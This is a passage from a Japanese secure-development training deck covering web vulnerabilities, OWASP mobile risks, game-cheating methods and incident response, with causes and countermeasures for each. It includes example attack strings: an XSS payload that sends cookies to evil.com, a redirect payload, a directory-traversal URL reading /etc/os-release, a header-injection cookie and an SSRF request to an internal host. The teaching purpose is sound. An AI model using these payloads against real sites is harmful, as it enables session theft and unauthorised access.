 ユーザー Webサーバー user1.csvを読み込む処理
133. ディレクトリ・トラバーサル
 ディレクトリ・トラバーサルに対する対策がなされていないと、
 攻撃者によって不正な入力を行われた際に
 https://example.com/get_file?file_name=../../../../../../etc/os-release 攻撃者 Webサーバー
134. ディレクトリ・トラバーサル
 ../../…により、他のディレクトリに移動されてしまい
 本来公開する予定のないファイルが閲覧されてしまう
 /etc/os-releaseを読み込む処理 攻撃者 Webサーバー
135. ディレクトリ・トラバーサル
 原因
 外部から与えられたパラメータでファイルを指定する際に、
 パラメータを確認する処理が不十分である
 
 悪い例 func ReadFile(fileName string) string { bytes = os.Readfile(fileName) return string(bytes) }
136. ディレクトリ・トラバーサル
 対策
 • 直接ファイル名をパラメータから受け取る実装を行わない
 ◦ 許可するファイルをホワイトリストで管理する
 ◦ パラメータを元に、サーバー側で安全なファイル名を生成する
 • 固定のディレクトリを使用し、
 パラメータにディレクトリ名が含まれていないことを検証する
 
 

137. セッション管理の不備
 セッションとは？
 Webアプリケーション上で、利用者を識別するための情報
 ログイン時に付与され、ログアウトや期限切れで失効する
 サーバー側はセッションがある = ユーザーが同じと認識できる

138. セッション管理
 セッションの付与
 
 ユーザーA Webサーバー ユーザーログイン セッションIDの付与 https://example.com/login? user_id=hoge&password=fuga Set-Cookie: SESSION_ID= 0556827c100bae39 WebサーバーはユーザーAと 送ったセッション紐づけて管理
139. セッション管理
 セッションの利用
 
 ユーザーA Webサーバー ユーザー操作 ユーザーの識別 https://example.com/mypage Cookie: 0556827c100bae39 ユーザーAのマイページを返信 Webサーバーは送信された セッションからユーザーAを識別
140. セッション管理
 セッションの削除
 
 ユーザーA Webサーバー ログアウト ユーザーの識別 https://example.com/logout Cookie: 0556827c100bae39 ユーザーAのセッションを消去 これ以降、このセッションIDで ユーザーAとして識別されなくなる
141. セッション管理の不備と対策
 セッションIDの推測
 概要
 攻撃者が自分のセッションIDから他ユーザーのセッションIDを推測できる
 ユーザー名などセッションIDがわかりやすい発生する可能性がある
 対策
 • 言語やフレームワークの機能を使用し、安全なセッションIDを生成
 
 

142. セッション管理の不備と対策
 セッションIDの盗用
 概要
 攻撃者が他の脆弱性やフィッシング等を活用して、
 他ユーザーのセッションを取得し利用できてしまう
 対策
 • セッションを用いるサイトでは必ずHTTPS通信を行う
 • Cookieにhttponly属性をつけて、javascriptから読めないようにする
 • Cookieにsecure属性をつけて、HTTP通信で使用されないようにする

143. クロスサイトスクリプティング
 検索のキーワードの表示画面や個人情報登録時の確認画面などの
 Webページに入力情報表示する際に、
 出力処理に問題があることで、
 スクリプト等を埋め込まれてしまう脆弱性と攻撃

144. クロスサイトスクリプティング
 パターン１
 商品へのコメントを行うと、その内容がデータベースに保存され、
 他の利用者が閲覧できる機能があり、
 https://example.com/item_comment?message=good ユーザー Webサーバー
145. クロスサイトスクリプティング
 他の利用者がアクセスした際に、そのデータを出力します
 他の利用者 Webサーバー goodを出力したWebページ
146. クロスサイトスクリプティング
 クロスサイトスクリプティングに対する対策がなされていないと、
 攻撃者によって不正な入力を行われた際に
 https://example.com/item_comment?message=<script>document.write(‘ <img src=http://evil.com/?’+ document.cookie +’” />’);</script> 攻撃者 Webサーバー
147. クロスサイトスクリプティング
 Webページに挿入されたスクリプトが利用者のブラウザで実行され、 javascriptが実行されて、Cookieが攻撃者に盗まれてしまう
 
 他の利用者 Webサーバー <script>document.write(‘<img src=http://evil.com/?’+document.cookie +’” />’);</script> を埋め込んだWebページ
148. クロスサイトスクリプティング
 パターン２
 攻撃者は脆弱なサイトでスクリプトを埋め込んだURLを拡散
 https://example.com/sale?coupon=<script>window.location.href ="http://evil.com/"</script> 攻撃者 SNS等
149. クロスサイトスクリプティング
 リンクをクリックしたユーザーのブラウザでスクリプトが実行され
 攻撃者のサイトに飛ばされてしまう
 
 
 他の利用者 Webサーバー <script>window.location.href ="http://evil.com/"</script> を埋め込んだWebページ
150. クロスサイトスクリプティング
 原因
 • Webページに表示する文字列のエスケープ処理が不十分
 • URLの出力時に、ユーザーの入力を検証していない
 • <script></script>の内容を利用者が入力できる
 

151. クロスサイトスクリプティング
 対策
 • 「'」「"」「<」「>」「&」の文字にエスケープ処理を行う
 • HTML属性(aタグなど)に含まれるURLの生成にユーザー入力を使用 する場合には、
 ◦ http://,https://で始まる場合のみを許可する
 ◦ もしくは、相対的なパスのみを許可する
 • <script>要素やスタイルシートを外部の入力から生成しない

152. クロスサイトリクエストフォージェリ
 クロスサイトリクエストフォージェリ(CSRF)とは？
 認証機能を持つWebサイトにてリクエストが送信された際に、
 それが利用者の意図した行動だと識別していない場合に
 (攻撃者の罠サイト等)外部サイトからのリクエストを受けつけて
 利用者が意図しない重要な行動を実施されてしまう脆弱性、攻撃

153. クロスサイトリクエストフォージェリ
 ユーザーは利用するWebサイトで正規のログインを実行
 
 ユーザーA Webサーバー ユーザーログイン セッションIDの付与 https://example.com/login? user_id=hoge&password=fuga Set-Cookie: SESSION_ID= 0556827c100bae39
154. クロスサイトリクエストフォージェリ
 攻撃者は自身のサイトやXSSなどの脆弱性のあるサイトを利用して
 罠サイトにアクセスしたユーザーが、利用するWebサイトへのリクエストを 送信するようなスクリプトを作成
 罠サイトへのアクセスを誘導 攻撃者 ユーザー
155. クロスサイトリクエストフォージェリ
 罠サイトにアクセスしたユーザーからWebサイトへのリクエストが送信さ れ、重要な行動などが実行されてしまう
 
 ユーザーA Webサーバー ユーザー削除 https://example.com/delete Cookie: 0556827c100bae39 正規のCookieのため、 処理が完了してしまう
156. クロスサイトリクエストフォージェリ
 原因
 送信されたリクエストが利用者の意図した操作かを確認していない
 
 対策
 • POSTリクエストを送信する場合、他の利用者が知り得ないパラメー タを送信させて値が正しいかを確認する
 • 重要な処理の実行前に、パスワードの入力や再認証を行う
 • Refererヘッダを確認して、利用者が正しい画面遷移をした上で処理 を行っているのか確認する

157. HTTPヘッダインジェクション
 外部からの入力をHTTPレスポンスヘッダに利用するWebアプリケーショ ンに、任意のヘッダやボディを追加できる脆弱性、攻撃
 https://example.com/redirect?url=index.html ユーザー Webサーバー
158. HTTPヘッダインジェクション
 Webサーバーはユーザーが入力した値からヘッダを組み立てて、
 レスポンスを返します
 ユーザー Webサーバー HTTP/1.1 302 Moved Temporarily Location: https://example.com/index.html
159. HTTPヘッダインジェクション
 攻撃者はHTTPヘッダインジェクションの攻撃を行うリクエストを
 作成し、利用者に実行させるために拡散します
 クリックすると攻撃者の用意したCookieがセットされる、 そのリンクを拡散する 攻撃者 ユーザー
160. HTTPヘッダインジェクション
 
 リンクをクリックしたユーザーのヘッダーに攻撃者が設定したCookieが設 定されてしまう
 
 
 他の利用者 Webサーバー https://example.com/redirect?url=\n\rSet Cookie: SESSION_ID=evil_session
161. HTTPヘッダインジェクション
 原因
 リクエストに改行文字が含まれる場合の処理に問題がある
 
 対策
 • 言語やフレームワークの機能でヘッダの処理を実装する
 • 利用できない場合、改行が含まれているリクエストはエラーとする
 

162. サーバーサイドリクエストフォージェリ
 攻撃者から直接アクセスできないサーバーに対する攻撃手法
 
 
 攻撃者 Webサーバー 内部サーバー SSRF アクセス
163. サーバーサイドリクエストフォージェリ
 本来は、ユーザーが送信したパラメータのURLをもとに外部の天気情報 を取得する機能
 ユーザー Webサーバー 外部サーバー https://example.com/weather?url=http://api.tenki.jp/tokyo
164. サーバーサイドリクエストフォージェリ
 Webサーバーはユーザーが入力したURLへリクエストを送信します
 
 ユーザー Webサーバー 外部サーバー http://api.tenki.jp/tokyo の情報を取得
165. サーバーサイドリクエストフォージェリ
 攻撃者は公開されているシステム情報や推測を元に
 パラメータのURLを内部サーバーへ変更してリクエストを行う
 攻撃者 Webサーバー 内部サーバー https://gaibu.example.com/weather?url=http://naibu.example.com
166. サーバーサイドリクエストフォージェリ
 Webサーバーから内部サーバーへリクエストが送信されて、
 機密情報などが漏れる恐れがある
 Webサーバー 内部サーバー http://naibu.example.com の情報を取得 攻撃者
167. サーバーサイドリクエストフォージェリ
 原因
 ユーザーが入力するURLの値を確認せずにリクエストを送信してしまって いる
 
 対策
 • URLをパラメータから受け取る実装を行わない
 ◦ 許可するURLをホワイトリストで管理する
 ◦ パラメータを元に、サーバー側でURLを生成する
 

168. アクセス制御の不備
 ユーザが本来付与されている権限の範囲内でのみ動作するように制御 できていない脆弱性
 
 • 特定のユーザーに絞るべき機能に対して、誰でもアクセス可能
 • パラメータに他人のIDを指定することで、編集が可能
 • ログインなしで、認証が必要な機能の利用が可能
 • 一般ユーザーが管理者権限の必要な機能を利用可能

169. アクセス制御の不備
 パターン１
 利用者が自身の住所を確認するためにユーザーIDを利用
 ユーザーA Webサーバー https://example.com/address?user_id=user_a
170. アクセス制御の不備
 ユーザーA Webサーバー ユーザーAの住所情報を表示
171. アクセス制御の不備
 攻撃者がパラメータに含まれるユーザーIDを自身のユーザーIDから
 他人のユーザーIDへ変更することで、
 
 攻撃者B Webサーバー https://example.com/address?user_id=user_a
172. アクセス制御の不備
 ユーザーAの住所情報を閲覧できてしまう
 
 攻撃者B Webサーバー ユーザーAの住所情報を表示
173. アクセス制御の不備
 パターン２
 商品AについてコメントしたユーザーA
 ユーザーA Webサーバー https://example.com/add_comment?item_id=商品A&comment=良かった
174. アクセス制御の不備
 新しいコメントはWebサーバーでコメントIDをつけて保存
 ユーザーA Webサーバー comment_id: 11111, user_id: user_a, comment: 良かった
175. アクセス制御の不備
 コメントの編集や削除を他のユーザーが実行できてしまう場合、
 攻撃者がリクエストを送信することで、
 
 攻撃者B Webサーバー https://example.com/delete_comment?comment_id=11111
176. アクセス制御の不備
 ユーザーAのコメントを削除できてしまう
 
 Webサーバー comment_id: 11111, user_id: user_a, comment: 良かった
177. アクセス制御の不備
 原因
 利用者が行うことができる権限についての確認に不備がある
 設計段階で、リソースに対する権限が不明確である
 
 対策
 • リクエストを送信した者が、そのリソースに対する権限を持っているかを検証 する
 • 予め、どのリソースに対して誰が何をできるのかを明確にしておく
 

178. TIPS: 実際に試したくなったら
 実際に試したくなったら
 
 脆弱性診断実習用のアプリが色々公開されているので、
 診断用のツールとともに紹介します
 
 当然、既存のサイトに攻撃してはいけません
 

179. TIPS: 実際に試したくなったら
 テストツール
 • OWASP ZAP 
 https://www.zaproxy.org/ 
 • Burp Suite Community
 https://portswigger.net/burp/communitydownload
 脆弱性実習用アプリ(やられサイト)
 • OWASP Juice Shop
 https://github.com/juice-shop/juice-shop
 • BadTodo
 https://github.com/ockeghem/badtodo

180. モバイルアプリケーション
181. モバイルアプリケーションの脆弱性
 どんな脆弱性があるのか？
 
 OWASP Mobile Top 10:2024
 https://owasp.org/www-project-mobile-top-10/
 
 バックエンドにサーバーが存在し、通信を行うようなアプリは
 Webアプリケーションの脆弱性にも考慮する必要があります

182. モバイルアプリケーションの脆弱性
 OWASP Mobile TOP 10:2024
 
 • M1: 不適切なクレデンシャルの使用
 • M2: 不適切なサプライチェーンセキュリティ
 • M3: 安全でない認証と認可
 • M4: 不十分な入出力バリデーション
 • M5: 安全でない通信
 • M6: 不適切なプライバシーコントロール
 • M7: 不十分なバイナリ保護
 • M8: セキュリティの設定ミス
 • M9: 安全でないデータストレージ
 • M10: 不十分な暗号化

183. モバイルアプリケーションの脆弱性
 チート関連
 • レースコンディション
 • メモリ改ざん
 • リクエスト改ざん
 • バイナリ改ざん
 

184. 脆弱性の説明の前に
 攻撃者の対処を困難にする以下について説明します
 
 • 端末のroot化
 • リバースエンジニアリング
 • アプリケーションの改ざん
 

185. 端末のroot化
 root化
 デバイスにおいてシステムを改変し、特権的な権限を取得する行為
 Androidではroot化、iOSでは脱獄(Jailbreak)と呼ばれる
 
 root化を行うことで、以下のようなことが可能になる
 • 管理者権限の取得
 • アプリストア以外からのアプリのインストール
 • 全てのディレクトリへのRead/Write権限
 

186. 端末のroot化
 root化の検知
 ユーザーが自身のデバイスで意図して行う行為のため、
 root化自体を防ぐことは不可能です
 
 • ルート化された際に、よく見つかるファイルの存在確認
 • root化されていないディレクトリへの書き込み確認
 • Google Play Integrity API (Android)
 
 改ざんされたアプリでは、この確認を回避される可能性もあり

187. リバースエンジニアリング
 リバースエンジニアリング
 コンパイルされたアプリを解析するプロセスのこと
 ソースコードに関する情報を抽出したり、実際の動作を確認して
 アプリケーションを理解することを目的としている
 
 以下の２パターンで構成されます
 • 静的解析
 • 動的解析

188. リバースエンジニアリング
 静的解析
 アプリケーションのコードを実行せずに解析する手法
 バイナリファイルを人間に理解可能な形式に変換してコードの解析する
 逆アセンブル
 アセンブリ言語のコードを生成する
 機械語との対応が明確で、フローが本来のものに近い利点がある
 逆コンパイル
 CやJavaなどの(アセンブリ言語よりは)読みやすいソースを生成する
 

189. リバースエンジニアリング
 動的解析
 実際にアプリケーションを動作させて解析する手法
 動的バイナリ計装
 デバッガを用いて
 • プロセスを監視
 • プログラムの一時停止
 • プロセスの内部状態を検査
 • レジスタやメモリの改変
 • プロセス内にコードを注入し、挙動を分析する

190. モバイルアプリケーションの改ざん
 モバイルアプリケーションの改ざん
 モバイルアプリ、またはその動作に影響を与える環境を変更するプロセス
 攻撃者は
 • ルート化された端末での起動防止を回避
 • 有料コンテンツに対する課金の回避
 • ゲームの難易度を低下させるパッチの適用
 • フィッシング
 などを組み込んで、改ざんしたアプリを利用・再配布する

191. 不適切なクレデンシャルの使用、プライバシーコントロール
 不適切なクレデンシャルの使用
 外部サービスのAPIキーやクレデンシャルなどの重要情報に対して、十分 な保護がされていないために発生するリスク
 
 不適切なプライバシーコントロール
 利用者がアプリに登録した個人情報に対して、十分な保護がされていな いために発生するリスク
 
 適切に保護されていない場合、これらの情報が漏洩する恐れがある

192. 不適切なクレデンシャルの使用
 攻撃者は内部データベースやログ出力、
 リバースエンジニアリングにより入手したソースコードを取得する
 これにより、APIキーやクレデンシャルを発見する
 リバースエンジニアリング ソースコードの 復元 クレデンシャルの取得
193. 不適切なクレデンシャルの使用
 攻撃者は取得したAPIキーやクレデンシャルを使用して、
 バックエンドへの不正アクセスを行う
 APIキーやクレデンシャルを 用いた不正アクセス 機密情報、個人情報
194. 不適切なクレデンシャルの使用
 原因
 APIトークンやクレデンシャルがハードコードされているなど
 適切に管理されていない
 
 対策
 • クレデンシャルをハードコードせず、プラットフォームごとに適切な方法でクレ デンシャルを管理する
 • APIキーやトークンは取り消し可能にし、定期的な入れ替える
 • ログに機密情報を出力しない

195. 不適切なプライバシーコントロール
 アプリケーションのログ出力やエラーメッセージの出力、
 HTTPリクエストのクエリパラメータに個人情報や機密情報が
 含まれる問題
 

196. 不適切なプライバシーコントロール
 原因
 ログ、エラーメッセージに表示する内容がサニタイズされていない
 機微な情報をGETリクエストのクエリパラメータに設定している
 不要な個人情報を収集している可能性がある
 
 対策
 • ログ、エラーメッセージの内容をサニタイズする
 • 機微な情報は、POSTリクエストでリクエストボディに指定する
 • 処理する個人情報の量や種類を削減する
 

197. 不適切なサプライチェーンセキュリティ
 モバイルアプリの開発おいて、外部のライブラリに対して、安全性の確認 がされていない場合に発生しうるリスク
 内部関係者による悪意のあるコードの注入や安全でない外部のライブラ リにより、マルウェアや脆弱性が含まれたアプリが出来上がる可能性が ある
 これにより、利用者の個人情報が漏洩する恐れがある
 

198. 不適切なサプライチェーンセキュリティ
 • 攻撃者が作成したマルウェアを仕込んだライブラリ
 • メンテナンスされていない脆弱性のあるライブラリ
 を開発者が自身のアプリに組み込むことで、
 悪意のあるコード 攻撃者の作成した モジュール 脆弱性の存在する モジュール 開発アプリでの利用
199. 不適切なサプライチェーンセキュリティ
 脆弱性のあるアプリが公開されてしまい、アプリを使用することで
 ユーザーはマルウェアへの感染や機密情報の漏洩被害を受ける
 アプリ公開 マルウェアへの感染 個人情報の漏洩 インストール
200. 不適切なサプライチェーンセキュリティ
 原因
 信頼できないサードパーティライブラリの利用
 
 対策
 • サードパーティライブラリのセキュリティチェック、定期的な更新
 • セキュリティテストを行い、アプリケーションの脆弱性を取り除く

201. 安全でない通信
 モバイルアプリが行う通信が暗号化されていない、もしくは脆弱な暗号化 プロトコルが使用されている問題
 モバイルアプリの安全でない通信を攻撃者が盗聴することなどにより、 ユーザが入力した個人情報が漏えいしたり、通信の内容を改ざんされる 恐れがある
 

202. 安全でない通信　の前に (HTTPS)
 HTTPS通信について
 Webサイトへのアクセス時に暗号化された通信を行う仕組み
 データが暗号化されることで、盗聴や改ざんを防止する
 
 SSL/TLSサーバー証明書を使用してTLSハンドシェイクを実施することに より、暗号化された通信経路が確立される

203. 安全でない通信　の前に (サーバー証明書)
 サーバー証明書について
 • 通信の暗号化
 • サイトの運営者・運営組織の実在を証明
 の役割を持つデジタル証明書のこと
 
 認証局(Certificate Authorities)という
 第三者機関から審査を受けることで
 デジタル証明書が発行される
 

204. 安全でない通信　の前に (暗号方式)
 公開鍵暗号方式
 暗号化(復号)する時に公開鍵(秘密)の別々の鍵を用意する方式
 公開鍵は誰でも取得できる鍵で、秘密鍵は厳重に管理する
 
 悪意のある第三者に公開鍵が渡っても、秘密鍵がなければ
 暗号化された内容が漏れることがない
 
 
 平文 平文 暗号化 復号化 公開鍵 秘密鍵 暗号文
205. 安全でない通信　の前に (暗号方式)
 共通鍵暗号方式
 暗号化と復号化それぞれで、同じ鍵(共通鍵)を使用する方式
 共通鍵は公開してはならず、利用者間でのみ共有される
 
 どちらか一方から共通鍵が漏洩した場合には、第三者に復号される
 
 
 平文 平文 暗号化 復号化 暗号文
206. ざっくりTLSを用いた暗号化通信の確立
 クライアント サーバー TCPコネクションの確立 事前に証明書を発行 暗号化方式の決定 クライアントは暗号アルゴリズムの候補を提示サー バーは候補からアルゴリズムを決定する
207. ざっくりTLSを用いた暗号化通信の確立
 クライアント サーバー TCPコネクションの確立 事前に証明書を発行 暗号化方式の決定 サーバー証明書の送信 クライアントは 送信された証明書 を検証する
208. ざっくりTLSを用いた暗号化通信の確立
 クライアント サーバー TCPコネクションの確立 事前に証明書を発行 暗号化方式の決定 pre-master-secretの共有 ランダムな値を、 証明書から得た公開鍵を 用いて暗号化する 暗号化された値を 秘密鍵を用いて復号化 する サーバー証明書の送信 クライアントとサーバーは 決定した暗号化方式と共有した pre-master-secretを使用し共通鍵を生成
209. ざっくりTLSを用いた暗号化通信の確立
 クライアント サーバー TCPコネクションの確立 事前に証明書を発行 暗号化方式の決定 pre-master-secretの共有 サーバー証明書の送信 暗号通信の実施
210. 安全でない通信
 攻撃者は偽Wi-Fiアクセスポイントを用意
 そのWi-Fiの利用者の通信を傍受する準備を行う
 
 アクセスポイントの設置 攻撃者
211. 安全でない通信
 攻撃者の用意したWi-Fiを使用して、暗号化されていない通信を行う
 攻撃者は通信を傍受でき、機密情報を取得することが可能になる
 
 
 WiFiの利用 ユーザー 攻撃者 利用者の通信傍受 暗号化されていない 通信を行うアプリ
212. 安全でない通信
 原因
 通信が暗号化されていない
 
 対策
 • HTTP通信は利用せず、HTTPS通信を利用する

213. 不十分なバイナリ保護
 コードの難読化やシークレットの暗号化が行われていないため、
 アプリケーションのリバースエンジニアリング・アプリの改ざんに脆弱なこ と
 攻撃者はバイナリを解析することにより、ハードコードされたシークレット やロジックの把握を行うことが可能になる
 アプリケーションのバイナリは利用者の手元にあるため、どれだけ対策を 施していても攻撃は困難にできても不可能にはできません

214. 不十分なバイナリ保護
 モバイルゲームに対してリバースエンジニアリングを行い、有償コンテン ツを利用するための課金制御を特定・回避する改ざんを実施
 
 課金回避の改ざん 攻撃者 アプリの解析 正規アプリ 改造アプリ
215. 不十分なバイナリ保護
 攻撃者が自身で利用したり不正なユーザーへ配布することで、
 課金のフローをスキップされて、開発者は本来の収入を得られない
 
 課金回避の改ざん 攻撃者 改造アプリ 改造アプリ の利用
216. 不十分なバイナリ保護
 原因
 アプリケーションがリバースエンジニアリングに脆弱
 
 ですが…
 バイナリが攻撃者の手元にある以上、完全に攻撃を防ぐことは難しい
 
 対策
 • ソースコードの難読化を実施する
 • アプリケーションで動的解析の検知を行う
 • 実際に改ざんを行われた際の対応を検討しておく

217. セキュリティの設定ミス
 開発したアプリがセキュリティのベストプラクティスに反しており脆弱性の あるアプリとなってしまう問題
 
 • 個人情報、機密情報の保存が適切でない方法でされている
 • 不要なパーミッションを要求するアプリ
 • 暗号化されていない通信の利用

218. セキュリティの設定ミス
 開発した電卓アプリが以下のような権限を要求する
 • ユーザーの連絡先
 • インターネットアクセス
 • ストレージへのアクセス
 過剰な権限を 要求するアプリ ユーザーの連絡先 インターネットアクセス ストレージへのアクセス
219. セキュリティの設定ミス
 アプリに脆弱性が存在する場合、その脆弱性を利用して
 与えた権限に応じた被害を与えることになってしまう
 また、不要な権限はアプリの利用者に不信感を与える恐れがある
 
 アプリへの不信感 個人情報の漏洩 インストール ユーザーの連絡先 インターネットアクセス ストレージへのアクセス
220. セキュリティの設定ミス
 原因
 アプリケーションに不要な権限を付与している
 
 対策
 • 最小権限の原則に則り、不要な権限を要求しない
 • 設計時やレビューの際に、設定ミスがないかを確認する

221. レースコンディション
 ある状態が成立しているという前提でプログラムが処理を行ったところ、 実際には他のプロセスによって状態が変更されていて、意図した処理が 失敗してしまう問題
 チート手法としてのレースコンディションは、
 • １プレイヤー１回限定のガチャを複数回実行する
 • １つの報酬の受け取りを複数回行う
 • １回分のガチャ用リソースで複数回のガチャを実行する
 など、リソースを消費するものや回数が限られたものに対して複数回の 実行を行うために利用される

222. レースコンディション
 １回限定など、限られた回数しか実行できないガチャを実行する際に送 信されるリクエストを
 攻撃者は極短時間に複数回送信する
 短時間に大量の リクエストを送信
223. レースコンディション
 レースコンディションへの対策ができていない場合、
 大量のリクエストのうち複数回が成功して、回数の制限を突破できてしま う可能性がある
 複数回報酬が 受け取れる
224. レースコンディション
 原因
 リクエストを受け付けるサーバー側で、排他制御が行えていない
 
 対策
 同時に発生した複数の処理が干渉しないようサーバー側で排他制御を行う
 アプリ側で簡単にレースコンディションを行わせないよう、短時間に同じ処理を実 行できないよう制御する
 

225. メモリ改ざん
 メモリ上の値を書き換えることで、
 ゲームの進行状況や結果を変更する攻撃手法
 
 主にroot化された端末にメモリエディタをインストールし、実行される

226. メモリ改ざん
 攻撃者はメモリエディタを用意して、実際にゲームをプレイ
 メモリエディタを利用して、改ざんしたい値を少しずつ変化させ
 該当の値が保存されているメモリを調査する
 スコア 10 スコア 11 スコア 12 +1 +1 +1 変更したい 値を確認 スコア 変更
227. メモリ改ざん
 該当の値を保存しているメモリを見つけた場合、
 メモリに保存されている値を変更することで改ざんが行われる
 
 スコア 10 スコア 999 +1 +1 値を９９９ に変更 スコアの 改ざん
228. メモリ改ざん
 原因
 改ざんされる値をサーバーではなく、クライアントで保存している
 値がメモリ上から検索しやすい形で保存されている
 メモリエディタが動作する環境でゲームが動いている
 対策
 クライアントでは操作したことをサーバーに伝えて、サーバーで値を管理
 メモリ上の値をエンコードや暗号化することで、検索しにくくする
 root化された端末やエミュレータを検知して、ゲームをプレイさせない

229. リクエスト改ざん
 ゲームプレイ中に送信されるリクエストのパラメータを書き換えることで、 ゲームの進行状況や結果を変更する攻撃手法
 
 別途通信をキャプチャする方法を用意して、ゲームプレイ中に送信される リクエストの監視、改ざんリクエストの作成を行う

230. リクエスト改ざん
 攻撃者は通信をキャプチャする方法を用意して、ゲームをプレイ
 ゲームプレイ時の状況ごとに、送信されたリクエストを追跡して
 改ざんしたいリクエストを調査する
 スコア 100 送信 改ざんしたい リクエストを調 査 POST /put/score score=100
231. リクエスト改ざん
 実際に送信されるリクエストをインターセプトして値を書き換える
 もしくは、リクエストから値を書き換えたリクエストを作り、
 サーバーへ送信することで、改ざんが可能になる
 POST /put/score score=999999999
232. リクエスト改ざん
 原因
 改ざんされる値をクライアントで生成し、サーバーに送信している
 リクエストが改ざんされやすい形で通信が行われている
 不正な値をサーバー側で弾くことができていない
 対策
 クライアントでは操作したことをサーバーに伝えて、サーバーで値を管理
 通信、さらにリクエストのパラメータを暗号化する
 明らかに不正な値は検知できるようにする

233. アプリケーション改ざん
 リバースエンジニアリング、モバイルアプリケーションの改ざんを用いて ゲームの振る舞いを変更したアプリを作成、公開する手法

234. アプリケーション改ざん
 攻撃者はアプリケーションを改ざんして、
 ゲームの振る舞いを変更する
 スコア 10 スコア 10 +1 +100000 アプリ改ざん スコアの 加算処理変更
235. アプリケーション改ざん
 改ざんされたアプリが公開されることにより、
 チート手法に対する理解が薄くともチートを使用できてしまう
 スコア 10 +100000 改造アプリ公開 改造アプリ利用
236. アプリケーション改ざん
 原因
 アプリケーションがリバースエンジニアリングに脆弱
 
 ですが…
 バイナリが攻撃者の手元にある以上、完全に攻撃を防ぐことは難しい(再掲)
 
 対策
 • ソースコードの難読化を実施する
 • 明らかな改造を検知できるようにしておく

237. まとめ
 • 各脆弱性とそれを利用した攻撃について
 • 脆弱性に対する対策、予防方法について
 

238. 5 ｜ インシデント対応
239. マネジメント編のおさらい 準備
 検知/ 分析
 復旧/ 根絶
 事後分 析
 全員が意識して
 実践するフェーズ
 SSG及びプロダクト管理者が協力して，実践する フェーズ
 日頃から技術的な緩和策を講じることに加え、 発生した時にどのように対応するのかを事前に把握する！ 

240. マネジメント編のおさらい 準備
 検知/ 分析
 復旧/ 根絶
 事後分 析
 全員が意識して
 実践するフェーズ
 SSG及びプロダクト管理者が協力して，実践する フェーズ
 各フェーズを円滑に進めるため、予防についての考え方と インシデントが発生した際の対応フローについて把握しましょう
241. インシデントの予防
242. どうしてインシデントが発生するのか
 【参考】 https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf
243. どうしてインシデントが発生するのか
 【参考】 https://services.google.com/fh/files/blogs/gcat_threathorizons_full_jul2023.pdf インシデントの原因の多くが、人間のミス
244. どうしてインシデントが発生するのか
 とはいえ
 人間のミスを完全に防ぐことは難しいので、
 
 人間のミスはどうしても発生してしまうものと許容して、
 インシデントに繋がらないように是正していくことが重要
 
 
 
 

245. ガードレール型セキュリティ
 ガードレール型セキュリティ
 セキュリティ要件を明確にし、逸脱が起きないように制御し、
 逸脱があれば発⾒できる仕組みをサービス全体に取り⼊れる⽅式
 
 人間のミスを完全に防ぐことは難しいという前提のもとで、
 予めガードレール(ルール)を設置しておき、ルールを逸脱するようなミス が発生した場合には即座に是正する考え方

246. ガードレール型セキュリティにおける統制方法
 ガードレール型セキュリティを実行するための仕組みとして、
 • 予防的統制
 • 発見的統制
 というものがあります

247. ガードレール型セキュリティにおける統制方法
 予防的統制
 ルールやシステム化によって、不正な操作・設定を事前に防ぐこと
 
 • セキュリティポリシー、運用ルールの作成
 • 最小権限の原則
 • リリース前のセキュリティチェック、コードレビュー
 • エンジニアの教育

248. ガードレール型セキュリティにおける統制方法
 発見的統制
 リソースが不正な状況になっていないか継続的に監視し、
 不正な状況を検知したら、即座に是正すること
 
 • 攻撃⾏為をリアルタイムに発⾒し検知するための監視
 • 不審な攻撃⾏為の洗い出しと影響範囲の確認を⾏うための分析
 • セキュリティ設定の監視

249. インシデントの予防
 ここまで予防についてお話ししてきましたが、
 それでも完全にインシデントを防ぐことは難しいです
 
 実際にインシデントが発生してしまった際に、
 どのように対応していくのかについて説明します
 

250. インシデント対応
251. インシデント対応フロー 検知
 インシデント対応フローを全体図で示すと次のようなものとなる 封じ込 め
 根絶
 復旧
 振り返 り

252. インシデント対応フロー : 検知 検知
 検知 様々なログやアラートを分析し、通常業務から逸脱した状況が インシデントかどうかを判断するフェーズ 封じ込 め
 根絶
 復旧
 振り返 り

253. インシデント対応フロー : 検知
 検知
 インシデントの予兆となるイベントをアラートや第三者からの連絡より発見 できる可能性があります
 予兆を発見した場合には、ログなど様々なリソースからデータを集めて本 当にインシデントなのかどうかを判断する必要があります
 予兆を検知するため、インシデントだと判断するために
 必要なリソースを用意しましょう

254. インシデント対応フロー : 封じ込め 封じ込 め
 根絶
 復旧
 振り返 り
 検知
 封じ込め インシデントによって発生した影響を最小限に抑え、 さらなる被害の発生を防止するフェーズ
255. インシデント対応フロー : 封じ込め
 封じ込め
 できるだけ被害を迅速に、最小限に抑える必要があります
 このフェーズでは、根本原因への対応ではなくNWの隔離などの
 できるだけ早く被害を抑制できる方法などを考慮します
 想定されるインシデントごとの対応計画を策定しておくことで、封じ込め策 を検討しておきます
 また、根絶フェーズのために侵害されたインスタンスの隔離・保全なども 重要です

256. インシデント対応フロー : 根絶 封じ込 め
 根絶
 復旧
 振り返 り
 検知
 根絶 影響を受けたシステムにおいて、原因の除去と復旧を行うフェーズ
257. インシデント対応フロー : 根絶
 根絶
 攻撃の際に作成されたバックドアや汚染されたリソースの削除を行い、再 びインシデントが発生しないように対応を行います
 侵害の痕跡を確実に除去するために、攻撃される前に取得しておいた バックアップからの復元などを行います
 • 定期的なバックアップの取得
 • クラウド環境やアプリケーションのコードでの管理
 などで、復元する手段を用意して事前の対策を行います

258. インシデント対応フロー : 根絶
 脆弱性
 攻撃手法と対応策を把握するためには、自分の管理しているアプリケー ションにどのような脆弱性があるのか把握する必要があります
 脆弱性情報は、セキュリティベンダーやGitHubなど様々な形態で公開・共 有されます
 使用しているミドルウェアや開発で使用しているプラグインに脆弱性が含 まれていないか確認する必要があります
 

259. 脆弱性について
 脆弱性を管理する上で、以下の単語について把握しておきましょう
 • CWE (Common Weakness Enumeration) • CVE (Common Vulnerabilities and Exposures) 【参考】 共通脆弱性タイプ一覧 CWE概説 https://www.ipa.go.jp/security/vuln/scap/cwe.html ▪ 共通脆弱性識別子CVE概説 https://www.ipa.go.jp/security/vuln/scap/cve.html
260. CWE
